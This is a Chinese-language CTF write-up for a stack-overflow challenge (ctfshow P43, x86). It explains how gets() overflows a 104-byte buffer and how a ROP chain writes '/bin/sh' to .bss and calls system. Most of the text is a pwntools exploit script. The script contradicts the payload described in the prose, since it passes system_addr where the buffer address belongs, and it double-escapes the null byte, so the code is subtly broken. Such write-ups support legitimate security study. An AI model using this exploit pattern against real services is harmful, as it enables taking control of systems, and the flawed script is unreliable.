ctfshow writeup 栈
P43 x86 使用gets写入bin/sh
无PIE,canary,有NX
char *ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
return gets(s);
}
gets存在栈溢出
使用plt中的函数构造rop链
用gets写入binsh
buf2在bss段的地址:0x0804B060
根据x86下传参规则:
#写入binsh
#pop_ebx_ret是调整栈帧,返回时将buf2_addr从栈上清理
payload=……+p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2_addr)
#system
payload+=p32(sys_plt)+p32(0)+p32(buf2_addr)
exp:
from pwn import *
p= process('./pwn')
#gdb.attach(p)
setoff= 0x6C
system_addr= 0x08048450
gets_addr= 0x08048420
bss_addr = 0x804b060
pop_ebx_ret= 0x08048409
p.recvuntil(b' * *************************************')
payload= b'a'*(setoff+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(system_addr)+p32(0x41414141)+p32(bss_addr)
p.sendline(payload)
p.sendline(b'/bin/sh\\x00')
p.interactive()
ctfshow writeup 栈
http://47.100.250.251:8091/archives/ctfshow-writeup